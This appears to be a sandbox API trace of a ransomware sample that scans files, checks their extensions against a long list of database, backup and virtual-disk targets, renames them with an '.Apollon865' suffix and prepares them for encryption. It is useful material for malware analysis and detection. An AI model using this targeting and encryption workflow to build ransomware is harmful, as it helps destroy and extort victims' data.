	[0084.841] lstrlenW (lpString="dsn") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.841] lstrlenW (lpString="dtsx") returned 4
	[0084.841] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0084.841] lstrlenW (lpString="dxl") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.841] lstrlenW (lpString="eco") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.841] lstrlenW (lpString="ecx") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.841] lstrlenW (lpString="edb") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.841] lstrlenW (lpString="epim") returned 4
	[0084.841] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0084.841] lstrlenW (lpString="fcd") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.841] lstrlenW (lpString="fdb") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.841] lstrlenW (lpString="fic") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.841] lstrlenW (lpString="flexolibrary") returned 12
	[0084.841] lstrcmpiW (lpString1="rlconfig.dll", lpString2="flexolibrary") returned 1
	[0084.841] lstrlenW (lpString="fm5") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.841] lstrlenW (lpString="fmp") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.841] lstrlenW (lpString="fmp12") returned 5
	[0084.841] lstrcmpiW (lpString1="g.dll", lpString2="fmp12") returned 1
	[0084.842] lstrlenW (lpString="fmpsl") returned 5
	[0084.842] lstrcmpiW (lpString1="g.dll", lpString2="fmpsl") returned 1
	[0084.842] lstrlenW (lpString="fol") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.842] lstrlenW (lpString="fp3") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.842] lstrlenW (lpString="fp4") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.842] lstrlenW (lpString="fp5") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.842] lstrlenW (lpString="fp7") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.842] lstrlenW (lpString="fpt") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.842] lstrlenW (lpString="frm") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.842] lstrlenW (lpString="gdb") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.842] lstrlenW (lpString="gdb") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.842] lstrlenW (lpString="grdb") returned 4
	[0084.842] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0084.842] lstrlenW (lpString="gwi") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.842] lstrlenW (lpString="hdb") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.842] lstrlenW (lpString="his") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.842] lstrlenW (lpString="ib") returned 2
	[0084.842] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.842] lstrlenW (lpString="idb") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.842] lstrlenW (lpString="ihx") returned 3
	[0084.842] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.842] lstrlenW (lpString="itdb") returned 4
	[0084.842] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0084.842] lstrlenW (lpString="itw") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.843] lstrlenW (lpString="jet") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.843] lstrlenW (lpString="jtx") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.843] lstrlenW (lpString="kdb") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.843] lstrlenW (lpString="kexi") returned 4
	[0084.843] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0084.843] lstrlenW (lpString="kexic") returned 5
	[0084.843] lstrcmpiW (lpString1="g.dll", lpString2="kexic") returned -1
	[0084.843] lstrlenW (lpString="kexis") returned 5
	[0084.843] lstrcmpiW (lpString1="g.dll", lpString2="kexis") returned -1
	[0084.843] lstrlenW (lpString="lgc") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.843] lstrlenW (lpString="lwx") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.843] lstrlenW (lpString="maf") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.843] lstrlenW (lpString="maq") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.843] lstrlenW (lpString="mar") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.843] lstrlenW (lpString="marshal") returned 7
	[0084.843] lstrcmpiW (lpString1="fig.dll", lpString2="marshal") returned -1
	[0084.843] lstrlenW (lpString="mas") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.843] lstrlenW (lpString="mav") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.843] lstrlenW (lpString="maw") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.843] lstrlenW (lpString="mdbhtml") returned 7
	[0084.843] lstrcmpiW (lpString1="fig.dll", lpString2="mdbhtml") returned -1
	[0084.843] lstrlenW (lpString="mdn") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.843] lstrlenW (lpString="mdt") returned 3
	[0084.843] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.843] lstrlenW (lpString="mfd") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.844] lstrlenW (lpString="mpd") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.844] lstrlenW (lpString="mrg") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.844] lstrlenW (lpString="mud") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.844] lstrlenW (lpString="mwb") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.844] lstrlenW (lpString="myd") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.844] lstrlenW (lpString="ndf") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.844] lstrlenW (lpString="nnt") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.844] lstrlenW (lpString="nrmlib") returned 6
	[0084.844] lstrcmpiW (lpString1="ig.dll", lpString2="nrmlib") returned -1
	[0084.844] lstrlenW (lpString="ns2") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.844] lstrlenW (lpString="ns3") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.844] lstrlenW (lpString="ns4") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.844] lstrlenW (lpString="nsf") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.844] lstrlenW (lpString="nv") returned 2
	[0084.844] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.844] lstrlenW (lpString="nv2") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.844] lstrlenW (lpString="nwdb") returned 4
	[0084.844] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0084.844] lstrlenW (lpString="nyf") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.844] lstrlenW (lpString="odb") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.844] lstrlenW (lpString="odb") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.844] lstrlenW (lpString="oqy") returned 3
	[0084.844] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.845] lstrlenW (lpString="ora") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.845] lstrlenW (lpString="orx") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.845] lstrlenW (lpString="owc") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.845] lstrlenW (lpString="p96") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.845] lstrlenW (lpString="p97") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.845] lstrlenW (lpString="pan") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.845] lstrlenW (lpString="pdb") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.845] lstrlenW (lpString="pdm") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.845] lstrlenW (lpString="pnz") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.845] lstrlenW (lpString="qry") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.845] lstrlenW (lpString="qvd") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.845] lstrlenW (lpString="rbf") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.845] lstrlenW (lpString="rctd") returned 4
	[0084.845] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0084.845] lstrlenW (lpString="rod") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.845] lstrlenW (lpString="rodx") returned 4
	[0084.845] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0084.845] lstrlenW (lpString="rpd") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.845] lstrlenW (lpString="rsd") returned 3
	[0084.845] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.845] lstrlenW (lpString="sas7bdat") returned 8
	[0084.845] lstrcmpiW (lpString1="nfig.dll", lpString2="sas7bdat") returned -1
	[0084.845] lstrlenW (lpString="sbf") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.846] lstrlenW (lpString="scx") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.846] lstrlenW (lpString="sdb") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.846] lstrlenW (lpString="sdc") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.846] lstrlenW (lpString="sdf") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.846] lstrlenW (lpString="sis") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.846] lstrlenW (lpString="spq") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.846] lstrlenW (lpString="te") returned 2
	[0084.846] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.846] lstrlenW (lpString="teacher") returned 7
	[0084.846] lstrcmpiW (lpString1="fig.dll", lpString2="teacher") returned -1
	[0084.846] lstrlenW (lpString="tmd") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.846] lstrlenW (lpString="tps") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.846] lstrlenW (lpString="trc") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.846] lstrlenW (lpString="trc") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.846] lstrlenW (lpString="trm") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.846] lstrlenW (lpString="udb") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.846] lstrlenW (lpString="udl") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.846] lstrlenW (lpString="usr") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.846] lstrlenW (lpString="v12") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.846] lstrlenW (lpString="vis") returned 3
	[0084.846] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.846] lstrlenW (lpString="vpd") returned 3
	[0084.847] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.847] lstrlenW (lpString="vvv") returned 3
	[0084.847] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.847] lstrlenW (lpString="wdb") returned 3
	[0084.847] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.847] lstrlenW (lpString="wmdb") returned 4
	[0084.847] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0084.847] lstrlenW (lpString="wrk") returned 3
	[0084.847] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.847] lstrlenW (lpString="xdb") returned 3
	[0084.847] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.847] lstrlenW (lpString="xld") returned 3
	[0084.847] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.847] lstrlenW (lpString="xmlff") returned 5
	[0084.847] lstrcmpiW (lpString1="g.dll", lpString2="xmlff") returned -1
	[0084.847] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.Apollon865") returned 67
	[0084.847] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll.apollon865"), dwFlags=0x1) returned 1
	[0084.848] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.849] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=15616) returned 1
	[0084.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.849] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.850] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.850] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.850] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4000, lpName=0x0) returned 0x15c
	[0084.852] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) returned 0x100000
	[0084.853] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.854] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.854] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.854] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.855] CloseHandle (hObject=0x15c) returned 1
	[0084.855] CloseHandle (hObject=0x9c) returned 1
	[0084.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.855] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="..") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="windows") returned -1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="bootmgr") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="temp") returned -1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="pagefile.sys") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="boot") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="ids.txt") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="ntuser.dat") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="perflogs") returned 1
	[0084.855] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="MSBuild") returned 1
	[0084.855] lstrlenW (lpString="ppcrlui.dll") returned 11
	[0084.856] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 56
	[0084.856] lstrcpyW (in: lpString1=0x119e65a, lpString2="ppcrlui.dll" | out: lpString1="ppcrlui.dll") returned="ppcrlui.dll"
	[0084.856] lstrlenW (lpString="ppcrlui.dll") returned 11
	[0084.856] lstrlenW (lpString="Apollon865") returned 10
	[0084.856] lstrcmpiW (lpString1="pcrlui.dll", lpString2="Apollon865") returned 1
	[0084.856] lstrlenW (lpString=".dll") returned 4
	[0084.856] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".dll") returned 1
	[0084.856] lstrlenW (lpString=".lnk") returned 4
	[0084.856] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".lnk") returned 1
	[0084.856] lstrlenW (lpString=".ini") returned 4
	[0084.856] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".ini") returned 1
	[0084.856] lstrlenW (lpString=".sys") returned 4
	[0084.856] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".sys") returned 1
	[0084.856] lstrlenW (lpString="ppcrlui.dll") returned 11
	[0084.856] lstrlenW (lpString="bak") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.856] lstrlenW (lpString="ba_") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.856] lstrlenW (lpString="dbb") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.856] lstrlenW (lpString="vmdk") returned 4
	[0084.856] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0084.856] lstrlenW (lpString="rar") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.856] lstrlenW (lpString="zip") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.856] lstrlenW (lpString="tgz") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.856] lstrlenW (lpString="vbox") returned 4
	[0084.856] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0084.856] lstrlenW (lpString="vdi") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.856] lstrlenW (lpString="vhd") returned 3
	[0084.856] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.856] lstrlenW (lpString="vhdx") returned 4
	[0084.856] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0084.856] lstrlenW (lpString="avhd") returned 4
	[0084.857] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0084.857] lstrlenW (lpString="db") returned 2
	[0084.857] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.857] lstrlenW (lpString="db2") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.857] lstrlenW (lpString="db3") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.857] lstrlenW (lpString="dbf") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.857] lstrlenW (lpString="mdf") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.857] lstrlenW (lpString="mdb") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.857] lstrlenW (lpString="sql") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.857] lstrlenW (lpString="sqlite") returned 6
	[0084.857] lstrcmpiW (lpString1="ui.dll", lpString2="sqlite") returned 1
	[0084.857] lstrlenW (lpString="sqlite3") returned 7
	[0084.857] lstrcmpiW (lpString1="lui.dll", lpString2="sqlite3") returned -1
	[0084.857] lstrlenW (lpString="sqlitedb") returned 8
	[0084.857] lstrcmpiW (lpString1="rlui.dll", lpString2="sqlitedb") returned -1
	[0084.857] lstrlenW (lpString="xml") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.857] lstrlenW (lpString="$er") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.857] lstrlenW (lpString="4dd") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.857] lstrlenW (lpString="4dl") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.857] lstrlenW (lpString="^^^") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.857] lstrlenW (lpString="abs") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.857] lstrlenW (lpString="abx") returned 3
	[0084.857] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.857] lstrlenW (lpString="accdb") returned 5
	[0084.857] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1
	[0084.858] lstrlenW (lpString="accdc") returned 5
	[0084.858] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1
	[0084.858] lstrlenW (lpString="accde") returned 5
	[0084.858] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1
	[0084.858] lstrlenW (lpString="accdr") returned 5
	[0084.858] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1
	[0084.858] lstrlenW (lpString="accdt") returned 5
	[0084.858] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1
	[0084.858] lstrlenW (lpString="accdw") returned 5
	[0084.858] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1
	[0084.858] lstrlenW (lpString="accft") returned 5
	[0084.858] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1
	[0084.858] lstrlenW (lpString="adb") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.858] lstrlenW (lpString="adb") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.858] lstrlenW (lpString="ade") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.858] lstrlenW (lpString="adf") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.858] lstrlenW (lpString="adn") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.858] lstrlenW (lpString="adp") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.858] lstrlenW (lpString="alf") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.858] lstrlenW (lpString="ask") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.858] lstrlenW (lpString="btr") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.858] lstrlenW (lpString="cat") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.858] lstrlenW (lpString="cdb") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.858] lstrlenW (lpString="ckp") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.858] lstrlenW (lpString="cma") returned 3
	[0084.858] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.859] lstrlenW (lpString="cpd") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.859] lstrlenW (lpString="dacpac") returned 6
	[0084.859] lstrcmpiW (lpString1="ui.dll", lpString2="dacpac") returned 1
	[0084.859] lstrlenW (lpString="dad") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.859] lstrlenW (lpString="dadiagrams") returned 10
	[0084.859] lstrcmpiW (lpString1="pcrlui.dll", lpString2="dadiagrams") returned 1
	[0084.859] lstrlenW (lpString="daschema") returned 8
	[0084.859] lstrcmpiW (lpString1="rlui.dll", lpString2="daschema") returned 1
	[0084.859] lstrlenW (lpString="db-journal") returned 10
	[0084.859] lstrcmpiW (lpString1="pcrlui.dll", lpString2="db-journal") returned 1
	[0084.859] lstrlenW (lpString="db-shm") returned 6
